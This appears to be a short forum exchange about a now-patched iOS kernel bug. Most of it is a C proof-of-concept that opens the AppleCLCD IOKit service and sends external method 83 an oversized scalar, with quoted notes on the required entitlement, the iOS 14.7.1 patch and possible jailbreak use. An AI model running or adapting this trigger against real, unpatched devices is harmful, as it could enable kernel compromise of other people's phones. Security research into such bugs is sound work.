Is there any reverse-engineered write up of how it was done anywhere?
int main(){ io_service_t s = IOServiceGetMatchingService(0, IOServiceMatching("AppleCLCD")); io_connect_t c; IOServiceOpen(s,mach_task_self(),0,&c); uint64_t a[1] = {0xFFFFFFFF}; uint64_t b[1] = {0}; uint32_t o = 1; IOConnectCallScalarMethod(c,83,a,1,b,&o); }
>Make sure you have "http://com.apple.private.allow-explicit-graphics-priority" entitlement and IOKit headers imported.
>Patch for this bug was released with iOS 14.7.1 less than 2 hours ago. Might be useful for a jailbreak but not sure due to the entitlement check.